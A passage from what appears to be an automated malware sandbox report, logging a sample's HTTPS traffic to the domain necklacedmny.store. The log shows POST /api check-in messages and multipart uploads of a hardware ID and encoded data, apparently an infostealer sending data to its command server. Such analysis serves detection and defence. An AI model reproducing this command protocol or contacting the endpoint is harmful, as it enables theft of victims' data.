name="hwid"186BC8B60C81107340409------JDGCGHCGHCBFHJJKKJEHContent-Disposition: form-data; name="build"tale------JDGCGHCGHCBFHJJKKJEH--
Oct 31, 2024 05:08:29.292949915 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:08:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:01 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 04:06:01 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 04:06:02 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rmljmvlog2k9d4e13cu9kbndbg; expires=Sun, 23-Feb-2025 21:52:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C3rc%2BvdgiBa61axyATf4LYYxarE%2FrVxG9JlIzLM8vuJPALLBp2NUxUsNKBbuPzWho5YSJoNhuos%2FDi8yz0GDkJ0hjGdz2MnnEvI4Gy2%2Fw%2BQAyJXkiJb%2FlSfehI3V4%2FeLtlMuHps%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c5251e284602-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1292&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2316800&cwnd=244&unsent_bytes=0&cid=9ac33052c9e0b549&ts=822&x=0"
2024-10-31 04:06:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 04:06:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:02 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 04:06:02 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 04:06:03 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i724htqagr5ct1hntj6r4d4l0f; expires=Sun, 23-Feb-2025 21:52:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bOIrqzK1WpMJNHAgLKcCSpPH1Z48%2BqKCf0n1FEuswCZuRpt%2BD4sh5bVt0n2PZbGdfjPemCfpHK7%2BNZKiXrk7eTnKiRChFpOB%2FZiCR4xLWN7u7qXM1wMfny9paLfTQUDPkpBz%2FZA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c52bf9044750-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1049&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=954&delivery_rate=2604316&cwnd=244&unsent_bytes=0&cid=aa5c298762112fcc&ts=317&x=0"
2024-10-31 04:06:03 UTC	352	IN	Data Raw: 31 64 38 64 0d 0a 2f 52 4e 2b 38 50 45 53 75 75 79 6b 75 73 4b 72 46 6f 71 67 6d 53 70 46 6a 4e 59 64 62 2f 72 50 55 4c 56 30 43 65 47 50 37 4a 53 47 4d 51 6a 53 79 79 61 57 7a 74 66 66 34 4a 46 69 2b 4e 58 38 42 6d 66 74 73 6a 39 56 6e 4b 34 38 78 68 45 6c 77 2f 6d 42 74 73 64 31 48 35 79 43 64 35 62 4f 77 63 4c 67 6b 55 33 78 67 76 78 45 5a 37 62 30 65 41 57 59 72 6a 7a 58 46 57 4b 4f 2f 34 44 33 6c 58 38 5a 6d 4a 52 78 33 6f 33 49 31 36 66 4f 63 2b 76 4b 39 30 4d 6f 35 4c 73 2f 51 39 69 71 4b 70 64 4f 4b 36 7a 71 6d 50 57 77 63 67 32 62 30 32 2b 57 6c 34 62 66 72 49 6b 73 71 4d 48 38 53 43 6e 71 73 6e 59 48 6b 71 63 30 31 68 42 6a 6b 65 61 4b 2f 4a 56 78 47 70 6d 65 65 4d 71 41 77 74 43 73 79 48 6e 72 67 72 55 49 49 50 62 30 4a 30 33 4c 6e 7a 48 47 42 Data Ascii: 1d8d/RN+8PESuuykusKrFoqgmSpFjNYdb/rPULV0CeGP7JSGMQjSyyaWztff4JFi+NX8Bmftsj9VnK48xhElw/mBtsd1H5yCd5bOwcLgkU3xgvxEZ7b0eAWYrjzXFWKO/4D3lX8ZmJRx3o3I16fOc+vK90Mo5Ls/Q9iqKpdOK6zqmPWwcg2b02+Wl4bfrIksqMH8SCnqsnYHkqc01hBjkeaK/JVxGpmeeMqAwtCsyHnrgrUIIPb0J03LnzHGB
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 79 53 66 64 69 63 7a 74 4f 72 7a 47 62 6a 79 2f 5a 46 4a 2b 4f 2b 63 41 36 59 71 6a 6a 64 47 57 47 48 34 49 50 77 6e 33 46 63 33 4e 4e 33 77 4d 36 65 6d 49 50 4d 5a 4f 2f 4f 37 51 6f 64 72 71 73 78 46 4e 69 71 50 70 64 4f 4b 34 76 6f 6a 66 57 55 66 68 2b 61 6d 47 4c 59 6e 4d 44 56 70 64 74 79 37 63 7a 78 53 7a 58 6b 75 6e 6b 4f 6b 61 59 37 30 68 46 76 77 36 50 4f 38 59 63 78 52 4e 4b 79 66 64 4f 43 7a 4d 2b 67 69 57 75 6d 32 37 74 50 4b 36 37 73 50 77 6d 5a 71 54 50 54 47 47 57 48 34 59 6a 34 6b 6e 34 61 6d 4a 4e 33 30 6f 62 4f 32 61 33 43 65 2b 6a 48 39 6b 77 68 34 72 56 36 54 64 62 74 4e 63 39 57 4d 38 50 44 69 66 57 4e 4d 79 6d 52 6e 58 37 66 6d 49 62 48 37 74 41 30 37 38 36 37 45 47 66 67 73 58 41 66 6d 62 38 33 32 51 52 6e 68 75 75 44 39 5a 46 78 47 Data Ascii: ySfdicztOrzGbjy/ZFJ+O+cA6YqjjdGWGH4IPwn3Fc3NN3wM6emIPMZO/O7QodrqsxFNiqPpdOK4vojfWUfh+amGLYnMDVpdty7czxSzXkunkOkaY70hFvw6PO8YcxRNKyfdOCzM+giWum27tPK67sPwmZqTPTGGWH4Yj4kn4amJN30obO2a3Ce+jH9kwh4rV6TdbtNc9WM8PDifWNMymRnX7fmIbH7tA07867EGfgsXAfmb832QRnhuuD9ZFxG
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 66 6d 49 62 48 37 74 41 30 37 38 36 37 45 47 66 69 76 58 38 47 6b 71 6b 79 30 42 74 75 67 4f 71 4e 2b 35 68 37 45 70 57 58 66 4e 47 44 77 4e 69 6e 7a 58 48 36 78 2f 4a 45 4b 36 37 36 50 77 71 41 37 57 71 58 4f 57 79 56 37 71 48 31 6a 6e 68 63 6a 64 31 70 6d 49 6e 4b 6d 50 69 4a 63 2b 33 4b 38 45 34 76 37 71 5a 36 41 35 4f 73 4f 4e 45 58 5a 6f 2f 72 6a 76 65 66 64 78 43 53 6c 48 66 4b 6e 4d 50 65 73 73 4d 30 70 6f 4c 38 55 47 65 32 39 45 6b 64 6a 37 77 6b 6c 53 4e 6f 6a 65 4f 4a 34 4e 39 75 55 6f 76 54 64 39 54 4f 6e 70 69 72 79 58 6a 76 79 76 31 4d 4c 2b 47 37 64 68 2b 5a 6f 54 7a 46 45 57 75 4b 34 34 48 36 6c 6e 77 62 6e 35 68 36 31 59 72 42 32 65 43 48 4e 4f 2f 61 75 78 42 6e 32 4b 52 79 41 62 61 6d 50 74 35 57 64 4d 33 30 7a 76 47 54 4d 55 54 53 6c 33 Data Ascii: fmIbH7tA07867EGfivX8Gkqky0BtugOqN+5h7EpWXfNGDwNinzXH6x/JEK676PwqA7WqXOWyV7qH1jnhcjd1pmInKmPiJc+3K8E4v7qZ6A5OsONEXZo/rjvefdxCSlHfKnMPessM0poL8UGe29Ekdj7wklSNojeOJ4N9uUovTd9TOnpiryXjvyv1ML+G7dh+ZoTzFEWuK44H6lnwbn5h61YrB2eCHNO/auxBn2KRyAbamPt5WdM30zvGTMUTSl3
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 33 4b 58 4d 63 4f 2f 47 2f 55 64 6e 6f 50 52 34 46 64 6a 31 63 76 67 78 58 73 48 4d 74 4c 61 41 50 77 58 53 6c 48 79 59 31 6f 62 55 6f 38 56 38 35 38 54 79 52 43 33 6e 76 33 4d 47 6e 4b 45 37 30 68 42 71 68 75 69 50 38 70 4e 37 47 70 47 51 66 39 65 42 7a 70 6a 75 69 58 50 77 67 71 4d 49 41 76 6d 2f 63 51 76 59 73 6e 7a 4f 56 6d 79 50 72 64 61 32 6b 33 67 61 6c 4a 5a 38 32 59 6a 4f 33 61 6a 4e 64 65 37 45 2b 45 63 6a 36 37 56 77 43 5a 53 6a 4f 4e 59 58 5a 34 6a 69 68 66 50 66 50 31 79 56 69 7a 43 41 7a 76 66 62 74 74 35 6b 35 49 4c 6b 42 6a 36 75 73 33 4e 4e 77 4f 30 7a 78 52 78 68 6a 65 69 42 38 35 78 2b 47 35 2b 56 66 4e 4b 48 7a 74 36 76 77 47 62 72 7a 76 56 50 4b 65 4b 36 63 67 65 62 6f 48 4b 5a 56 6d 79 62 72 64 61 32 73 33 59 52 76 4a 68 38 33 38 37 Data Ascii: 3KXMcO/G/UdnoPR4Fdj1cvgxXsHMtLaAPwXSlHyY1obUo8V858TyRC3nv3MGnKE70hBqhuiP8pN7GpGQf9eBzpjuiXPwgqMIAvm/cQvYsnzOVmyPrda2k3galJZ82YjO3ajNde7E+Ecj67VwCZSjONYXZ4jihfPfP1yVizCAzvfbtt5k5ILkBj6us3NNwO0zxRxhjeiB85x+G5+VfNKHzt6vwGbrzvVPKeK6cgeboHKZVmybrda2s3YRvJh8387
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 54 71 6f 78 65 4d 49 66 36 36 43 65 42 32 49 72 6e 44 6d 41 47 69 56 35 6f 50 36 33 32 35 53 69 39 4e 33 31 4d 36 65 6d 4b 62 47 66 65 76 4e 2b 6b 45 72 34 37 46 32 43 4a 6d 72 4e 74 30 63 61 34 58 72 6a 2f 4f 56 63 68 32 59 6d 6e 66 51 69 63 58 4b 34 49 63 30 37 39 71 37 45 47 66 48 73 32 30 44 69 4f 30 74 6d 51 38 72 68 4f 48 4f 72 74 39 31 46 70 32 58 64 39 53 49 77 39 36 74 79 48 76 70 77 76 52 4d 4c 4f 65 79 66 67 43 64 6f 44 62 46 48 47 43 4d 34 59 66 36 6b 6a 46 53 30 70 52 6f 6d 4e 61 47 36 61 33 48 65 75 2f 55 75 31 64 70 39 2f 52 34 41 64 6a 31 63 74 59 61 5a 49 44 69 6a 66 57 65 65 77 36 41 6e 33 6e 51 69 38 72 54 72 73 39 6d 37 73 33 79 53 79 54 6e 73 33 63 42 6b 71 34 31 6c 31 67 72 68 50 58 4f 72 74 39 53 43 34 4b 65 4d 4d 66 41 33 35 69 6e Data Ascii: TqoxeMIf66CeB2IrnDmAGiV5oP6325Si9N31M6emKbGfevN+kEr47F2CJmrNt0ca4Xrj/OVch2YmnfQicXK4Ic079q7EGfHs20DiO0tmQ8rhOHOrt91Fp2Xd9SIw96tyHvpwvRMLOeyfgCdoDbFHGCM4Yf6kjFS0pRomNaG6a3Heu/Uu1dp9/R4Adj1ctYaZIDijfWeew6An3nQi8rTrs9m7s3ySyTns3cBkq41l1grhPXOrt9SC4KeMMfA35in
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 54 31 57 69 4c 6f 75 33 41 45 6b 61 6b 36 31 42 5a 76 68 2b 71 4c 39 5a 4e 36 47 35 47 63 64 4e 47 41 7a 39 66 67 68 7a 54 76 32 72 73 51 5a 38 2b 76 66 41 47 56 37 53 32 5a 44 79 75 45 34 63 36 75 33 33 30 53 6c 35 4e 36 33 6f 72 44 33 71 72 4d 64 4f 50 42 39 45 77 68 36 72 74 2f 42 70 47 73 4e 4e 49 63 59 49 58 67 6a 66 43 5a 4d 56 4c 53 6c 47 69 59 31 6f 62 34 75 38 52 34 37 34 4c 6b 42 6a 36 75 73 33 4e 4e 77 4f 30 35 32 78 4a 73 67 2b 43 4e 2f 70 70 31 46 70 65 54 65 4d 71 47 78 74 2b 79 32 33 54 68 78 2f 64 4c 4a 2b 71 79 64 67 75 62 71 58 4b 5a 56 6d 79 62 72 64 61 32 73 6e 30 62 75 35 52 72 6d 4a 47 49 77 65 44 4f 65 4b 69 61 75 30 6b 73 35 4c 74 79 44 70 36 75 4f 64 49 63 61 6f 54 6c 67 2b 53 63 66 68 4f 57 6b 33 2f 65 69 4d 66 58 70 73 35 39 36 Data Ascii: T1WiLou3AEkak61BZvh+qL9ZN6G5GcdNGAz9fghzTv2rsQZ8+vfAGV7S2ZDyuE4c6u330Sl5N63orD3qrMdOPB9Ewh6rt/BpGsNNIcYIXgjfCZMVLSlGiY1ob4u8R474LkBj6us3NNwO052xJsg+CN/pp1FpeTeMqGxt+y23Thx/dLJ+qydgubqXKZVmybrda2sn0bu5RrmJGIweDOeKiau0ks5LtyDp6uOdIcaoTlg+ScfhOWk3/eiMfXps596
2024-10-31 04:06:03 UTC	376	IN	Data Raw: 67 30 49 70 59 47 35 4b 71 49 74 41 42 5a 4d 4f 6a 7a 76 6e 66 4b 53 58 53 6d 6e 66 44 6e 39 44 56 73 4d 34 30 31 34 79 37 55 47 65 32 39 45 6f 4f 6c 71 4d 31 77 51 63 6d 70 50 75 45 38 59 39 32 43 35 33 54 50 70 69 49 68 6f 44 7a 68 7a 54 73 30 37 73 51 64 37 7a 76 4b 6c 37 50 2f 57 44 49 57 48 4c 44 2b 38 36 75 7a 54 39 63 67 4e 4d 6f 6d 4d 6e 46 79 72 4c 50 64 2f 37 42 76 48 59 5a 79 61 35 79 43 34 2b 38 44 4f 6b 52 63 59 37 72 6d 65 66 54 5a 42 2b 63 6e 58 66 4f 7a 6f 69 59 72 34 6b 73 30 59 4b 7a 43 42 69 67 39 47 64 4e 77 4f 30 48 31 42 68 6c 68 50 75 66 75 37 68 72 45 5a 53 45 59 5a 6a 41 68 74 37 67 6b 53 53 6d 67 76 39 5a 5a 37 62 6b 4c 56 62 4e 2f 6d 57 48 52 48 54 4e 39 4d 37 67 33 79 6c 4f 33 4e 4e 69 6d 4e 61 47 6e 36 50 62 5a 75 37 42 37 55 Data Ascii: g0IpYG5KqItABZMOjzvnfKSXSmnfDn9DVsM4014y7UGe29EoOlqM1wQcmpPuE8Y92C53TPpiIhoDzhzTs07sQd7zvKl7P/WDIWHLD+86uzT9cgNMomMnFyrLPd/7BvHYZya5yC4+8DOkRcY7rmefTZB+cnXfOzoiYr4ks0YKzCBig9GdNwO0H1BhlhPufu7hrEZSEYZjAht7gkSSmgv9ZZ7bkLVbN/mWHRHTN9M7g3ylO3NNimNaGn6PbZu7B7U
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 32 36 64 66 0d 0a 71 62 4b 59 75 75 46 78 58 59 6b 2b 4c 6c 77 42 70 6d 54 44 50 6b 62 61 6f 44 6a 7a 4d 65 4a 66 41 79 52 6c 6e 66 6d 73 4d 6a 66 74 4d 35 36 37 73 4b 37 42 6d 66 68 39 43 63 30 32 4f 56 79 36 46 67 72 6d 36 33 57 74 71 70 79 45 70 79 55 5a 73 6e 44 35 63 36 74 78 6e 2f 70 67 72 55 49 49 61 37 73 4c 30 50 59 71 53 4f 58 54 6a 76 52 74 74 75 6c 79 43 46 4f 6a 64 31 70 6d 4a 69 47 67 50 4b 48 4e 50 71 43 6f 77 68 67 34 4c 6c 2b 44 70 61 75 49 4d 55 51 61 4a 58 75 79 63 69 68 55 42 47 5a 6e 33 33 58 68 66 6a 6d 67 63 52 2f 35 4d 2f 30 51 78 6e 51 6f 58 77 44 6c 71 6f 6b 78 6c 59 6c 77 2b 4c 4f 72 71 59 78 56 4e 4b 73 50 70 69 57 68 6f 44 67 2f 48 66 6d 7a 50 78 65 4e 71 4f 56 63 67 61 55 6f 44 33 63 56 69 58 44 36 38 36 75 7a 7a 39 63 6c 6f Data Ascii: 26dfqbKYuuFxXYk+LlwBpmTDPkbaoDjzMeJfAyRlnfmsMjftM567sK7Bmfh9Cc02OVy6Fgrm63WtqpyEpyUZsnD5c6txn/pgrUIIa7sL0PYqSOXTjvRttulyCFOjd1pmJiGgPKHNPqCowhg4Ll+DpauIMUQaJXuycihUBGZn33XhfjmgcR/5M/0QxnQoXwDlqokxlYlw+LOrqYxVNKsPpiWhoDg/HfmzPxeNqOVcgaUoD3cViXD686uzz9clo
2024-10-31 04:06:03 UTC	1369	IN	Data Raw: 31 74 36 6a 39 30 72 44 7a 76 31 50 50 65 6d 79 57 53 33 59 34 33 4c 59 56 6a 4f 36 72 63 61 32 6f 44 39 63 69 74 4d 6f 6d 4c 76 46 31 71 37 4f 59 76 6d 50 33 6c 38 6b 2f 72 4a 38 54 64 62 74 4e 4a 64 4f 4f 38 32 74 69 75 66 66 4b 55 7a 41 79 43 57 4c 32 5a 61 4b 76 34 64 74 71 4e 53 37 45 48 57 67 39 47 31 4e 77 4f 31 31 31 41 52 35 68 65 36 59 39 64 68 50 49 72 53 51 59 64 4b 76 79 38 69 6e 39 30 72 39 77 66 56 47 49 50 69 6c 50 30 50 59 6f 6e 4b 50 4c 79 76 4c 6f 59 6a 31 69 54 45 6a 33 4e 4e 6f 6d 4e 61 47 37 61 50 48 65 75 2f 55 36 67 55 42 37 61 56 31 4c 4a 57 39 4e 5a 64 59 4b 34 57 74 31 71 58 52 4d 52 69 44 30 79 69 49 33 4a 32 4e 38 35 34 6b 75 74 32 31 55 57 66 34 39 43 64 66 31 75 30 67 6c 30 34 72 78 4f 36 63 35 4a 6c 79 43 70 48 55 54 75 61 Data Ascii: 1t6j90rDzv1PPemyWS3Y43LYVjO6rca2oD9citMomLvF1q7OYvmP3l8k/rJ8TdbtNJdOO82tiuffKUzAyCWL2ZaKv4dtqNS7EHWg9G1NwO111AR5he6Y9dhPIrSQYdKvy8in90r9wfVGIPilP0PYonKPLyvLoYj1iTEj3NNomNaG7aPHeu/U6gUB7aV1LJW9NZdYK4Wt1qXRMRiD0yiI3J2N854kut21UWf49Cdf1u0gl04rxO6c5JlyCpHUTua

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:03 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 04:06:03 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:06:03 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 04:06:04 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l54b0khargplgvqgkq4p2bir9u; expires=Sun, 23-Feb-2025 21:52:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CkLaxl3MtDw9W1%2BFqLFAYSrEEf8Tvg2qiBCZ4O9Z%2BS4KTZgR88heVkdMTm7d391XOyNCnaLEjBXHX7TFgNrU2QNt3T9L9dK%2BQoJiYBZ4AllNS9tHrrJ9Snth%2FJryZEIhMA106AQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c5331aa06bd8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1227&sent=10&recv=23&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=2454237&cwnd=251&unsent_bytes=0&cid=541d272a62001573&ts=613&x=0"
2024-10-31 04:06:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:06:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:05 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 04:06:05 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:06:05 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:06:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7hkn3s28umm267mvki7sqnmr1m; expires=Sun, 23-Feb-2025 21:52:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p4usQBRXJQ08z%2FextcCW0d2oEMcrW04wg3VN8vDr%2F%2BxkwJYEcx%2FNUvysmvF9DY174Q1Pc8q35DNKWgaYua1kT%2Br7BTQHucT%2Fk%2BbrI3%2FXIAa9gXSrysKVASCm9wOVBuNFwUqDlGk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c53b4e7546d4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=1493553&cwnd=252&unsent_bytes=0&cid=f094f29d09ab8586&ts=730&x=0"
2024-10-31 04:06:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:06:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	188.114.97.3	443	6996	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:06:06 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
